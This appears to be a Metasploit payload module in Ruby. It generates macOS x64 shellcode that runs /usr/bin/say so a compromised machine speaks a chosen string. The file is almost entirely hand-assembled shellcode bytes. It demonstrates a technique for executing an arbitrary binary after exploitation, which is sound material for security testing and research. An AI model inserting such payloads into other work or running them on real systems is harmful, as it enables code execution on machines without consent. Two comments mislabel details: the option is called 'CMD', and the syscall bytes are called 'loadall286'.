1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
module MetasploitModule
7
  CachedSize = 53
8

9
  include Msf::Payload::Single
10

11
  def initialize(info = {})
12
    super(
13
      merge_info(
14
        info,
15
        'Name' => 'OS X x64 say Shellcode',
16
        'Description' => 'Say an arbitrary string outloud using Mac OS X text2speech',
17
        'Author' => 'nemo <nemo[at]felinemenace.org>',
18
        'License' => MSF_LICENSE,
19
        'Platform' => 'osx',
20
        'Arch' => ARCH_X64
21
      )
22
    )
23

24
    # exec payload options
25
    register_options(
26
      [
27
        OptString.new('TEXT', [ true, 'The text to say', "Hello\!"]),
28
      ]
29
    )
30
  end
31

32
  # build the shellcode payload dynamically based on the user-provided CMD
33
  def generate(_opts = {})
34
    say = (datastore['TEXT'] || '') << "\x00"
35
    call = "\xe8" + [say.length + 0xd].pack('V')
36

37
    "\x48\x31\xC0" + # xor rax,rax
38
      "\xB8\x3B\x00\x00\x02" +            # mov eax,0x200003b
39
      call +
40
      "/usr/bin/say\x00" +
41
      say +
42
      "\x48\x8B\x3C\x24" +                # mov rdi,[rsp]
43
      "\x4C\x8D\x57\x0D" +                # lea r10,[rdi+0xd]
44
      "\x48\x31\xD2" +                    # xor rdx,rdx
45
      "\x52" +                            # push rdx
46
      "\x41\x52" +                        # push r10
47
      "\x57" +                            # push rdi
48
      "\x48\x89\xE6" +                    # mov rsi,rsp
49
      "\x0F\x05"                          # loadall286
50
  end
51
end
52

53